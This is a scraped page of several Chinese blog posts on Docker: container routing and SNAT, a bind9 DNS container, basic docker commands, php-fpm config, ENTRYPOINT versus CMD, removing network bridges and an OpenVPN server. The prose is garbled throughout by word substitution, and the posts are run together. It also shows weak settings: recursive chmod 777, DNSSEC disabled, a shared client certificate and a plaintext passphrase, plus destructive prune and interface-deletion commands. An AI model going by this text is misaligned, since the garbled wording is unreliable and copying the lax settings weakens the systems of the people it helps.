查看路由[root@test-a-docker01 ~]# ip routedefault via 192.168.11.2 dev ens32 proto static metric 100 172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 192.168.11.0/24 dev ens32 proto kernel scope link src 192.168.11.23 metric 100 那么,容器又是如何拜访到内部的呢?次要是由iptables的POSTROUTING进行实现,POSTROUTING是源地址转换(SNAT)。 # 查看SNAT规定[root@test-a-docker01 ~]# iptables -t nat -vnL POSTROUTINGChain POSTROUTING (policy ACCEPT 18 packets, 1296 bytes) pkts bytes target     prot opt in     out     source               destination            13   759 MASQUERADE  all  --  *      !docker0  172.17.0.0/16        0.0.0.0/0               0     0 MASQUERADE  tcp  --  *      *       172.17.0.2           172.17.0.2           tcp dpt:80    0     0 MASQUERADE  tcp  --  *      *       172.17.0.3           172.17.0.3           tcp dpt:80[root@test-a-docker01 ~]# # 查看路由表[root@test-a-docker01 ~]# route -nKernel IP routing tableDestination     Gateway         Genmask         Flags Metric Ref    Use Iface0.0.0.0         192.168.11.2    0.0.0.0         UG    100    0        0 ens32172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0192.168.11.0    0.0.0.0         255.255.255.0   U     100    0        0 ens32[root@test-a-docker01 ~]# 本文转载于(喜爱的盆友关注咱们哦):https://mp.weixin.qq.com/s/0D...

November 18, 2022 · 1 min · jiezi

关于docker:在内网部署支持ssl的docker私仓

registry须要 4431194:1194/udp 更换 来此加密 ssl 证书\cp -a /free_cicdfs0/k8s_data/registry_ssl/certs/private.pem /free_cicdfs0/k8s_data/registry_ssl/certs/domain.key\cp -a /free_cicdfs0/k8s_data/registry_ssl/certs/fullchain.crt /free_cicdfs0/k8s_data/registry_ssl/certs/domain.crt失效 配置kubectl apply -f /free_cicdfs0/k8s_ymls/app-yml/registry_ssl/registry_ssl.ymlkubectl replace --force -f /free_cicdfs0/k8s_ymls/app-yml/registry_ssl/registry_ssl.yml批改配置文件新版本 配置文件 大抵构造产生了一些扭转 cat /free_cicdfs0/k8s_data/bind9/etc/bind/named.conf// This is the primary configuration file for the BIND DNS server named.//// Please read /usr/share/doc/bind9/README.Debian.gz for information on the// structure of BIND configuration files in Debian, *BEFORE* you customize// this configuration file.//// If you are just adding zones, please do that in /etc/bind/named.conf.localinclude "/etc/bind/named.conf.options";include "/etc/bind/named.conf.local";include "/etc/bind/named.conf.default-zones";从 114 缓存 查问 数据cat > /free_cicdfs0/k8s_data/bind9/etc/bind/named.conf.options <<"EOF"# include "/etc/rndc.key";controls { inet 127.0.0.1 port 953 allow { 127.0.0.1; } keys { "rndckey"; };};options { // set no dnssec-enable no; dnssec-validation no; listen-on port 53 { any; }; allow-query { any; }; forwarders { 114.114.114.114; };};EOFchmod 777 -R /free_cicdfs0/k8s_data/bind9/chown root:root -R /free_cicdfs0/k8s_data/bind9/chown root:named -R /free_cicdfs0/k8s_data/bind9/docker-compose up -d # log errorcouldn't add command channel 127.0.0.1#953: file not founddocker cp -a bind9:/etc/bind /free_cicdfs0/k8s_data/bind9/etc/docker cp -a bind9:/var/lib/bind /free_cicdfs0/k8s_data/bind9/var/lib/能够 dig 无奈 pingbroken trust chain resolving 'baidu.com/AAAA/IN': 114.114.114.114#53解决:因为是局域网内非法DNS,所以将DNS平安敞开.[root@192-168-174-42 ~]# vim /etc/named.conf将上面的两项设置为no dnssec-enable no; dnssec-validation no;查看 曾经 区域 解析,并增加 新的 解析 项cat /free_cicdfs0/k8s_data/bind9/etc/bind/named.conf.default-zones// prime the server with knowledge of the root serverszone "." { type hint; file "/usr/share/dns/root.hints";};// be authoritative for the localhost forward and reverse zones, and for// broadcast zones as per RFC 1912zone "localhost" { type master; file "/etc/bind/db.local";};zone "127.in-addr.arpa" { type master; file "/etc/bind/db.127";};zone "0.in-addr.arpa" { type master; file "/etc/bind/db.0";};zone "255.in-addr.arpa" { type master; file "/etc/bind/db.255";};https://nginx164190.zk.wh.com/ ...

November 16, 2022 · 4 min · jiezi

关于docker:docker使用bind9实现域名解析

刷新服务cd /free_cicdfs0/compose/bind9docker-compose down; docker-compose up -d批改配置文件新版本 配置文件 大抵构造产生了一些扭转 cat /free_cicdfs0/data/bind9/etc/bind/named.conf// This is the primary configuration file for the BIND DNS server named.//// Please read /usr/share/doc/bind9/README.Debian.gz for information on the// structure of BIND configuration files in Debian, *BEFORE* you customize// this configuration file.//// If you are just adding zones, please do that in /etc/bind/named.conf.localinclude "/etc/bind/named.conf.options";include "/etc/bind/named.conf.local";include "/etc/bind/named.conf.default-zones";从 114 缓存 查问 数据cat > /free_cicdfs0/data/bind9/etc/bind/named.conf.options <<"EOF"# include "/etc/rndc.key";controls { inet 127.0.0.1 port 953 allow { 127.0.0.1; } keys { "rndckey"; };};options { // set no dnssec-enable no; dnssec-validation no; listen-on port 53 { any; }; allow-query { any; }; forwarders { 114.114.114.114; };};EOFchmod 777 -R /free_cicdfs0/data/bind9/chown root:root -R /free_cicdfs0/data/bind9/chown root:named -R /free_cicdfs0/data/bind9/docker-compose up -d # log errorcouldn't add command channel 127.0.0.1#953: file not founddocker cp -a bind9:/etc/bind /free_cicdfs0/data/bind9/etc/docker cp -a bind9:/var/lib/bind /free_cicdfs0/data/bind9/var/lib/能够 dig 无奈 pingbroken trust chain resolving 'baidu.com/AAAA/IN': 114.114.114.114#53解决:因为是局域网内非法DNS,所以将DNS平安敞开.[root@192-168-174-42 ~]# vim /etc/named.conf将上面的两项设置为no dnssec-enable no; dnssec-validation no;查看 曾经 区域 解析,并增加 新的 解析 项cat /free_cicdfs0/data/bind9/etc/bind/named.conf.default-zones// prime the server with knowledge of the root serverszone "." { type hint; file "/usr/share/dns/root.hints";};// be authoritative for the localhost forward and reverse zones, and for// broadcast zones as per RFC 1912zone "localhost" { type master; file "/etc/bind/db.local";};zone "127.in-addr.arpa" { type master; file "/etc/bind/db.127";};zone "0.in-addr.arpa" { type master; file "/etc/bind/db.0";};zone "255.in-addr.arpa" { type master; file "/etc/bind/db.255";};https://nginx164190.zk.wh.com/ ...

November 16, 2022 · 4 min · jiezi

关于docker:上篇docker基础玩转

应用容器的理由上线流程繁琐 开发->测试->申请资源->审批->部署->测试等环节资源利用率低 广泛服务器利用率低,造成过多节约扩容/缩容不及时 业务高峰期扩容流程繁琐,上线不及时服务器环境臃肿 服务器越来越臃肿,对保护、迁徙带来艰难环境不一致性 如开发环境和测试环境不统一,在测试的时候就因为环境问题而不能正确运行容器VS虚拟机容器容器提供一个根本的独立环境,实现容器隔离、资源限度次要解决应用层问题,利用疾速部署、高效治理 虚拟机晋升服务器资源利用率提供一个齐全隔离的环境 实现容器的核心技术Namespace:Linux Namespace是kernel的一个性能,它能够隔离一系列零碎的资源,Namespace是Linux内核用来隔离内核资源的形式。Cgroup(Control Groups):Cgroups是Linux内核提供的一种能够限度、记录、隔离过程组(process groups)所应用的物理资源(如:cpu,memory,IO等等)的机制目前只须要晓得: 所谓的容器技术,是基于Linux操作系统的Namespace和Cgroup机制进行实现的Namespace次要用来做资源隔离,Cgroup次要用来做资源限度容器底层就是基于Namespace和Cgroup实现容器也只是一个过程而已对于Linux的Namespace和Cgroups前面会专门进行分享。docker是啥应用最宽泛的开源容器引擎一种操作系统级的虚拟化技术依赖于Linux内核个性:Namespace(资源隔离)和Cgroups(资源限度)一个简略的应用程序打包工具docker的益处提供简略的应用程序打包工具开发人员和运维人员职责逻辑拆散开发人员:开发我的项目、打包我的项目环境+代码成镜像、部署到容器平台运维人员:怎么高效的去治理这些容器带来的益处:运维人员结节省人工成本、继续公布有问题更好解决多环境放弃一致性:开发环境、测试环境、预公布环境、生产环境docker的利用场景应用程序打包和公布应用程序隔离继续集成部署微服务疾速搭建测试环境提供PaaS产品(平台即服务)docker的组成 三大组成别离是镜像、容器、仓库,通过docker的命令能够对docker的对象进行治理、对象有:容器、镜像、网络等。 在centos7上装置docker-ce(社区版)# 装置所需的零碎工具sudo yum install -y yum-utils device-mapper-persistent-data lvm2# 增加软件源信息yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.reposed -i 's+download.docker.com+mirrors.aliyun.com/docker-ce+' /etc/yum.repos.d/docker-ce.repo#更新并装置Docker-CEyum makecache fastyum -y install docker-ce# 启动Docker服务systemctl start dockerdocker镜像一个分层存储的文件、不是一个繁多的文件一个软件的环境一个镜像能够创立N个容器一种标准化的交付一个不蕴含Linux内核而又精简的Linux操作系统配置镜像加速器(指向国内的阿里云镜像仓库) # 配置cat > /etc/docker/daemon.json <<EOF {  "registry-mirrors": ["https://b9pmyelo.mirror.aliyuncs.com"]}EOF# 重启dockersystemctl restart docker常用命令docker pull # 拉取镜像docker push # 提交镜像docker images(或:docker image ls)# 查看镜像docker run # 启动容器docker prune # 删除不再应用的docker对象docker inspect # 查看容器详情信息docker build # 应用Dockerfile创立镜像docker save # 导出镜像docker load # 导入镜像docker rm # 删除容器docker tag # 批改镜像的tagdocker stop # 进行容器docker start # 启动容器docker restart # 重启容器docker top # 查看容器中运行的过程信息docker exec # 在运行的容器中执行命令docker cp # 在容器和主机之间进行数据拷贝docker logs # 查看容器的日志docker stats # 显示容器资源的应用状况,包含:CPU、内存、网络 I/O等docker port # 列出指定容器的端口映射docker commit # 从容器创立一个新的镜像根底实战拉取镜像[root@test-a-docker01 ~]# [root@test-a-docker01 ~]# docker pull nginxUsing default tag: latestlatest: Pulling from library/nginxa2abf6c4d29d: Pull complete a9edb18cadd1: Pull complete 589b7251471a: Pull complete 186b1aaa4aa6: Pull complete b4df32aa5a72: Pull complete a0bcbecc962e: Pull complete Digest: sha256:0d17b565c37bcbd895e9d92315a05c1c3c9a29f762b011a10c54a66cd53c9b31Status: Downloaded newer image for nginx:latestdocker.io/library/nginx:latest[root@test-a-docker01 ~]# docker pull centosUsing default tag: latestlatest: Pulling from library/centosa1d0c7532777: Pull complete Digest: sha256:a27fd8080b517143cbbbab9dfb7c8571c40d67d534bbdee55bd6c473f432b177Status: Downloaded newer image for centos:latestdocker.io/library/centos:latest[root@test-a-docker01 ~]# 查看镜像[root@test-a-docker01 ~]# docker imagesREPOSITORY   TAG       IMAGE ID       CREATED         SIZEnginx        latest    605c77e624dd   10 months ago   141MBcentos       latest    5d0da3dc9764   14 months ago   231MB[root@test-a-docker01 ~]# docker image lsREPOSITORY   TAG       IMAGE ID       CREATED         SIZEnginx        latest    605c77e624dd   10 months ago   141MBcentos       latest    5d0da3dc9764   14 months ago   231MB[root@test-a-docker01 ~]# 删除镜像[root@test-a-docker01 ~]# docker image rm nginxUntagged: nginx:latestUntagged: nginx@sha256:0d17b565c37bcbd895e9d92315a05c1c3c9a29f762b011a10c54a66cd53c9b31Deleted: sha256:605c77e624ddb75e6110f997c58876baa13f8754486b461117934b24a9dc3a85Deleted: sha256:b625d8e29573fa369e799ca7c5df8b7a902126d2b7cbeb390af59e4b9e1210c5Deleted: sha256:7850d382fb05e393e211067c5ca0aada2111fcbe550a90fed04d1c634bd31a14Deleted: sha256:02b80ac2055edd757a996c3d554e6a8906fd3521e14d1227440afd5163a5f1c4Deleted: sha256:b92aa5824592ecb46e6d169f8e694a99150ccef01a2aabea7b9c02356cdabe7cDeleted: sha256:780238f18c540007376dd5e904f583896a69fe620876cabc06977a3af4ba4fb5Deleted: sha256:2edcec3590a4ec7f40cf0743c15d78fb39d8326bc029073b41ef9727da6c851f[root@test-a-docker01 ~]# docker image rm centosUntagged: centos:latestUntagged: centos@sha256:a27fd8080b517143cbbbab9dfb7c8571c40d67d534bbdee55bd6c473f432b177Deleted: sha256:5d0da3dc976460b72c77d94c8a1ad043720b0416bfc16c52c45d4847e53fadb6Deleted: sha256:74ddd0ec08fa43d09f32636ba91a0a3053b02cb4627c35051aff89f853606b59[root@test-a-docker01 ~]# [root@test-a-docker01 ~]# docker imagesREPOSITORY   TAG       IMAGE ID   CREATED   SIZE[root@test-a-docker01 ~]## 更简洁的删除形式docker rmi centos启动容器[root@test-a-docker01 ~]# docker run -d -p 8080:80 --name web01 -h web01 nginxae5110bcb33626780b009d8d5ca11e3e217f767974d16f4e8d249755298bc927查看容器[root@test-a-docker01 ~]# docker psCONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         PORTS                                   NAMESae5110bcb336   nginx     "/docker-entrypoint.…"   4 seconds ago   Up 4 seconds   0.0.0.0:8080->80/tcp, :::8080->80/tcp   web01[root@test-a-docker01 ~]# 进行容器[root@test-a-docker01 ~]# docker stop web01web01查看进行后的容器[root@test-a-docker01 ~]# docker ps -aCONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS                      PORTS     NAMESae5110bcb336   nginx     "/docker-entrypoint.…"   5 minutes ago   Exited (0) 15 seconds ago             web01[root@test-a-docker01 ~]# 启动容器[root@test-a-docker01 ~]# docker start web01web01重启容器[root@test-a-docker01 ~]# docker restart web01web01进入容器[root@test-a-docker01 ~]# docker exec -it web01 bashroot@web01:/# lsbin  boot  dev  docker-entrypoint.d  docker-entrypoint.sh  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  varroot@web01:/# exit (退出容器)exit[root@test-a-docker01 ~]# 删除所有未被tag标记的镜像[root@test-a-docker01 ~]# docker image pruneWARNING! This will remove all dangling images.Are you sure you want to continue? [y/N] yTotal reclaimed space: 0B[root@test-a-docker01 ~]# 删除所有未被容器应用的镜像[root@test-a-docker01 ~]# docker image prune -aWARNING! This will remove all images without at least one container associated to them.Are you sure you want to continue? [y/N] yDeleted Images:untagged: centos:latestuntagged: centos@sha256:a27fd8080b517143cbbbab9dfb7c8571c40d67d534bbdee55bd6c473f432b177deleted: sha256:5d0da3dc976460b72c77d94c8a1ad043720b0416bfc16c52c45d4847e53fadb6deleted: sha256:74ddd0ec08fa43d09f32636ba91a0a3053b02cb4627c35051aff89f853606b59Total reclaimed space: 231.3MB[root@test-a-docker01 ~]# prune命令不再应用的docker对象更多例子# 删除所有进行运行的容器docker container prune# 删除所有未被挂载的卷docker volume prune# 删除所有网络docker network prune# 删除docker所有资源docker system prune查看容器详情[root@test-a-docker01 ~]# docker inspect web01[    {        "Id": "ae5110bcb33626780b009d8d5ca11e3e217f767974d16f4e8d249755298bc927",        "Created": "2022-11-16T09:13:46.156778931Z",        "Path": "/docker-entrypoint.sh",        "Args": [            "nginx",            "-g",            "daemon off;"        ],        "State": {            "Status": "running",            "Running": true,            "Paused": false,......批改镜像的tag(标签)[root@test-a-docker01 ~]# docker tag nginx:latest nginx:v1[root@test-a-docker01 ~]# docker tag nginx:latest nginx:v2[root@test-a-docker01 ~]# docker imagesREPOSITORY   TAG       IMAGE ID       CREATED         SIZEnginx        latest    605c77e624dd   10 months ago   141MBnginx        v1        605c77e624dd   10 months ago   141MBnginx        v2        605c77e624dd   10 months ago   141MBcentos       latest    5d0da3dc9764   14 months ago   231MB导出(保留)镜像# 形式1:重定向的形式[root@test-a-docker01 ~]# docker save nginx:v1 > nginx-v1.tar# 形式2:应用-o参数[root@test-a-docker01 ~]# docker save -o nginx-v2.tar nginx:v2[root@test-a-docker01 ~]# lsanaconda-ks.cfg  nginx-v1.tar  nginx-v2.tar[root@test-a-docker01 ~]# 导入镜像# 先删除[root@test-a-docker01 ~]# docker rmi nginx:v1 nginx:v2Untagged: nginx:v1Untagged: nginx:v2# 再次查看[root@test-a-docker01 ~]# docker imagesREPOSITORY   TAG       IMAGE ID       CREATED         SIZEnginx        latest    605c77e624dd   10 months ago   141MBcentos       latest    5d0da3dc9764   14 months ago   231MB# 导入形式1:重定向的形式[root@test-a-docker01 ~]# docker load < nginx-v1.tar Loaded image: nginx:v1# 导入形式2:应用-i参数[root@test-a-docker01 ~]# docker load -i nginx-v2.tar Loaded image: nginx:v2# 导入后查看[root@test-a-docker01 ~]# docker imagesREPOSITORY   TAG       IMAGE ID       CREATED         SIZEnginx        latest    605c77e624dd   10 months ago   141MBnginx        v1        605c77e624dd   10 months ago   141MBnginx        v2        605c77e624dd   10 months ago   141MBcentos       latest    5d0da3dc9764   14 months ago   231MB[root@test-a-docker01 ~]# 查看容器中运行的过程信息[root@test-a-docker01 ~]# docker top web01UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMDroot                18307               18288               0                   17:22               ?                   00:00:00            nginx: master process nginx -g daemon off;101                 18349               18307               0                   17:22               ?                   00:00:00            nginx: worker process[root@test-a-docker01 ~]# 在运行的容器中执行命令# 不进入容器执行命令[root@test-a-docker01 ~]# docker exec web01 cat /etc/hosts127.0.0.1       localhost::1     localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.17.0.2      web01[root@test-a-docker01 ~]# # 进入容器执行命令[root@test-a-docker01 ~]# docker exec -it web01 bashroot@web01:/# cat /etc/hosts127.0.0.1       localhost::1     localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.17.0.2      web01root@web01:/# 容器与主机之间的数据拷贝# 宿主机当前目录下的123.txt文件拷贝到容器里的/tmp目录下[root@test-a-docker01 ~]# touch 123.txt[root@test-a-docker01 ~]# echo "hello" >> 123.txt [root@test-a-docker01 ~]# cat 123.txt hello[root@test-a-docker01 ~]# docker cp ./123.txt web01:/tmp/[root@test-a-docker01 ~]# docker exec web01 ls /tmp/123.txt# 将主机mydir目录拷贝到容器web01中的/tmp目录下,并将将其目录重命名为mydir01[root@test-a-docker01 ~]# mv 123.txt mydir/[root@test-a-docker01 ~]# docker cp ./mydir web01:/tmp/mydir01[root@test-a-docker01 ~]# docker exec web01 ls /tmp/123.txtmydir01[root@test-a-docker01 ~]# # 将容器web01里的/etc/nginx/nginx.conf文件拷贝的宿主机的当前目录下[root@test-a-docker01 ~]# docker cp web01:/etc/nginx/nginx.conf .查看容器的日志 docker logs 命令的参数-f : 跟踪日志输入--since : 显示某个开始工夫的所有日志-t : 显示工夫戳--tail : 仅列出最新N条容器日志# 跟踪查看容器web01的日志输入[root@test-a-docker01 ~]# docker logs -f web01/docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration/docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d//docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh10-listen-on-ipv6-by-default.sh: info: Getting the checksum of /etc/nginx/conf.d/default.conf10-listen-on-ipv6-by-default.sh: info: Enabled listen on IPv6 in /etc/nginx/conf.d/default.conf/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh/docker-entrypoint.sh: Configuration complete; ready for start up2022/11/16 09:13:46 [notice] 1#1: using the "epoll" event method2022/11/16 09:13:46 [notice] 1#1: nginx/1.21.52022/11/16 09:13:46 [notice] 1#1: built by gcc 10.2.1 20210110 (Debian 10.2.1-6) 2022/11/16 09:13:46 [notice] 1#1: OS: Linux 3.10.0-1160.76.1.el7.x86_64......# 查看容器web01从2022年11月16日后的最新10条日志[root@test-a-docker01 ~]# docker logs --since="2022-11-16" --tail=10 web01/docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh/docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh/docker-entrypoint.sh: Configuration complete; ready for start up2022/11/16 09:22:06 [notice] 1#1: using the "epoll" event method2022/11/16 09:22:06 [notice] 1#1: nginx/1.21.52022/11/16 09:22:06 [notice] 1#1: built by gcc 10.2.1 20210110 (Debian 10.2.1-6) 2022/11/16 09:22:06 [notice] 1#1: OS: Linux 3.10.0-1160.76.1.el7.x86_642022/11/16 09:22:06 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:10485762022/11/16 09:22:06 [notice] 1#1: start worker processes2022/11/16 09:22:06 [notice] 1#1: start worker process 24[root@test-a-docker01 ~]# 显示容器资源的应用状况,包含:CPU、内存、网络 I/O 等。# help可查看到更多的选项[root@test-a-docker01 ~]# docker stats --helpUsage:  docker stats [OPTIONS] [CONTAINER...]Display a live stream of container(s) resource usage statisticsOptions:  -a, --all             Show all containers (default shows just running)      --format string   Pretty-print images using a Go template      --no-stream       Disable streaming stats and only pull the first result      --no-trunc        Do not truncate output[root@test-a-docker01 ~]# # 查看web01容器的运行信息[root@test-a-docker01 ~]# docker stats web01CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O       BLOCK I/O   PIDSae5110bcb336   web01     0.00%     1.406MiB / 3.682GiB   0.04%     850B / 192B   0B / 0B     2CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O       BLOCK I/O   PIDSae5110bcb336   web01     0.00%     1.406MiB / 3.682GiB   0.04%     850B / 192B   0B / 0B     2CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O       BLOCK I/O   PIDSae5110bcb336   web01     0.00%     1.406MiB / 3.682GiB   0.04%     850B / 192B   0B / 0B     2CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O       BLOCK I/O   PIDSae5110bcb336   web01     0.00%     1.406MiB / 3.682GiB   0.04%     850B / 192B   0B / 0B     2CONTAINER ID   NAME      CPU %     MEM USAGE / LIMIT     MEM %     NET I/O       BLOCK I/O   PIDSae5110bcb336   web01     0.00%     1.406MiB / 3.682GiB   0.04%     850B / 192B   0B / 0B     2^C[root@test-a-docker01 ~]# # 以json的格局输入[root@test-a-docker01 ~]# docker stats web01 --no-stream --format "{{ json . }}"{"BlockIO":"0B / 0B","CPUPerc":"0.00%","Container":"web01","ID":"ae5110bcb336","MemPerc":"0.04%","MemUsage":"1.406MiB / 3.682GiB","Name":"web01","NetIO":"850B / 192B","PIDs":"2"}[root@test-a-docker01 ~]# 列出指定端口的映射[root@test-a-docker01 ~]# docker port web0180/tcp -> 0.0.0.0:808080/tcp -> :::8080[root@test-a-docker01 ~]# 上篇分享到此结束,搭建公有镜像仓库和制作镜像下篇持续分享,期待关注。喜爱的盆友们关注咱们:https://mp.weixin.qq.com/s/Yp...

November 16, 2022 · 1 min · jiezi

关于docker:解决-docker-挂载-phpfpm-配置文件无效问题

原本是想把 php-fpm 的配置文件独立进去,这样批改起来就不便,想当然的认为把 www.conf 配置文件挂载进去就好了,docker-compose.yml 中 PHP 容器局部内容如下: volumes: - ./html:/var/www/html - ./php/log:/var/log/php-fpm - ./php/conf.d/php.ini:/usr/local/etc/php/conf.d/php.ini - ./php/php-fpm.d/www.conf:/usr/local/etc/php-fpm.d/www.conf重新启动后,nginx 就链接不上 php-fpm 了,转发内容失败。如果不挂载配置文件,进入 php 容器外部改 www.conf 文件也能够达到同样的成果,可是不能复用呀,难道就这么完结了? 咱们发现 /usr/local/etc/php-fpm.d 目录下有三个配置文件:www.conf,docker.conf,zz-docker.conf,其中zz-docker.conf 外面有对于 www 的相干配置,这个应该是笼罩配置特有的文件,调整挂载文件如下: volumes: - ./html:/var/www/html - ./php/log:/var/log/php-fpm - ./php/conf.d/php.ini:/usr/local/etc/php/conf.d/php.ini - ./php/php-fpm.d/zz-docker.conf:/usr/local/etc/php-fpm.d/zz-docker.conf把想批改的内容配置在 zz-docker.conf 文件中, 样例内容如下: [global]daemonize = no[www]listen = 9000pm.max_children = 50pm.start_servers = 20pm.min_spare_servers = 10pm.max_spare_servers = 30pm.max_requests = 500重启容器,批改内容已失效,运行胜利! 我的开源我的项目 course-tencent-cloud(酷瓜云课堂 - gitee仓库)course-tencent-cloud(酷瓜云课堂 - github仓库)

November 9, 2022 · 1 min · jiezi

关于docker:对比entrypoint以及cmd

如何查看 现有 images 的 入口信息docker image inspect image_id{ "entrypoint": "xxx" "cmd" : "xxx"}entrypoint两种形式 ENTRYPOINT [“executable”, “param1”, “param2”] (exec 格局, 举荐) ENTRYPOINT command param1 param2 (shell 格局) 不会被 默认笼罩 然而 能够 通过 在 img 之前 通过 --entrypoint "" 进行笼罩 eg: docker run -it --rm --entrypoint "/bin/bash" nginxexec 模式exec 模式下 能够承受 默认的 cmd 或者 用户 在 img 后的 bash 参数 作为 附加参数 不会 在 参数结尾 主动追加 /bin/bash -c shell 模式shell 模式下 不承受 任何 参数 ...

November 8, 2022 · 1 min · jiezi

关于docker:docker清空网络配置

docker 网络 故障雷同的 ip 绑定给了 两个 网卡, 须要 清空 网络 ip addr | grep 10.79 inet 10.79.106.1/24 brd 10.79.106.255 scope global br-a0ebe04d1152 inet 10.79.106.1/24 brd 10.79.106.255 scope global br-54c665d911c4清空网络ifconfig virbr0 downip addr | grep -B 3 10.79 | grep 'mtu 1500 qdisc' | awk '{print $2}' | grep -oE '[a-z0-9-]+' | xargs -I {} ifconfig {} downip addr | grep -B 3 10.79 | grep 'mtu 1500 qdisc' | awk '{print $2}' | grep -oE '[a-z0-9-]+' | xargs -I {} brctl delbr {}ip -br link | grep -i veth | awk '{print $1}' | awk -F '@' '{print $1}' | xargs -I {} ifconfig {} downip -br link | grep -i veth | awk '{print $1}' | awk -F '@' '{print $1}' | xargs -I {} ip link del {}ip -br link | grep -i veth | awk '{print $1}' | ifconfig docker0 downbrctl delbr cni0bridge cni0 is still up; can't delete itbrctl delbr docker0

November 6, 2022 · 1 min · jiezi

关于docker:搭建openvpn

setting 配置教程http://blog.joylau.cn/2020/05... https://community.openvpn.net... 开启 压缩项compress lz4-v2push "compress lz4-v2"max-clients 200openvpn 只容许 单点登录批改 配置文件 server.conf 批改openVPN配置文件server.conf,内容如下port 1194proto udpdev tunca ca.crtcert server.crtkey server.key # This file should be kept secretdh dh.pemserver 10.8.0.0 255.255.255.0ifconfig-pool-persist ipp.txtpush "route 172.16.1.0 255.255.255.0"keepalive 10 120cipher AES-256-CBCpersist-keypersist-tunstatus openvpn-status.logverb 3explicit-exit-notify 1duplicate-cn# duplicate-cn :这是字段就是开启一个证书或账户多人同时 登录。OVPN_DATA="/free_cicdfs0/data/openvpn/openvpn"Retrieve the client configuration with embedded certificatesOVPN_DATA="/free_cicdfs0/data/openvpn/openvpn"docker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_getclient wuhan > wuhan.ovpndemo2cat /free_cicdfs0/data/openvpn/openvpn/openvpn.confserver 192.168.255.0 255.255.255.0verb 3key /etc/openvpn/pki/private/119.36.243.58.keyca /etc/openvpn/pki/ca.crtcert /etc/openvpn/pki/issued/119.36.243.58.crtdh /etc/openvpn/pki/dh.pemtls-auth /etc/openvpn/pki/ta.keykey-direction 0keepalive 10 60persist-keypersist-tunproto udp# Rely on Docker to do port mapping, internally always 1194port 1195dev tun0status /tmp/openvpn-status.loguser nobodygroup nogroupcomp-lzo no### Route Configurations Belowroute 192.168.254.0 255.255.255.0### Push Configurations Below# push "block-outside-dns"# push "dhcp-option DNS 192.168.99.114"# push "dhcp-option DNS 114.114.114.114"# push "dhcp-option DNS 8.8.8.8"push "comp-lzo no"duplicate-cn压缩传输cat /free_cicdfs0/data/openvpn/openvpn/openvpn.confserver 192.168.255.0 255.255.255.0verb 3key /etc/openvpn/pki/private/119.36.243.58.keyca /etc/openvpn/pki/ca.crtcert /etc/openvpn/pki/issued/119.36.243.58.crtdh /etc/openvpn/pki/dh.pemtls-auth /etc/openvpn/pki/ta.keykey-direction 0keepalive 10 60persist-keypersist-tunproto udp# Rely on Docker to do port mapping, internally always 1194port 1195dev tun0status /tmp/openvpn-status.loguser nobodygroup nogroupcompress lz4-v2push "compress lz4-v2"max-clients 200### Route Configurations Belowroute 192.168.254.0 255.255.255.0push "dhcp-option DNS 192.168.99.114"duplicate-cn教程Pick a name for the $OVPN_DATA data volume container. It's recommended to use the ovpn-data- prefix to operate seamlessly with the reference systemd service. Users are encourage to replace example with a descriptive name of their choosing.OVPN_DATA="ovpn-data-example"OVPN_DATA="/free_cicdfs0/data/openvpn/openvpn"Initialize the $OVPN_DATA container that will hold the configuration files and certificates. The container will prompt for a passphrase to protect the private key used by the newly generated certificate authority.passwd=free_cicdkitdocker volume create --name $OVPN_DATA# 119 是 服务器 ipdocker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_genconfig -u udp://119.36.243.58docker run -v $OVPN_DATA:/etc/openvpn --rm -it kylemanna/openvpn ovpn_initpkiStart OpenVPN server processdocker run -v $OVPN_DATA:/etc/openvpn -d -p 192.168.71.100:1194:1194/udp --cap-add=NET_ADMIN kylemanna/openvpnGenerate a client certificate without a passphrasedocker run -v $OVPN_DATA:/etc/openvpn --rm -it kylemanna/openvpn easyrsa build-client-full wuhan nopassRetrieve the client configuration with embedded certificatesdocker run -v $OVPN_DATA:/etc/openvpn --rm kylemanna/openvpn ovpn_getclient wuhan > wuhan.ovpn

November 6, 2022 · 2 min · jiezi

关于docker:docker搭建ddns

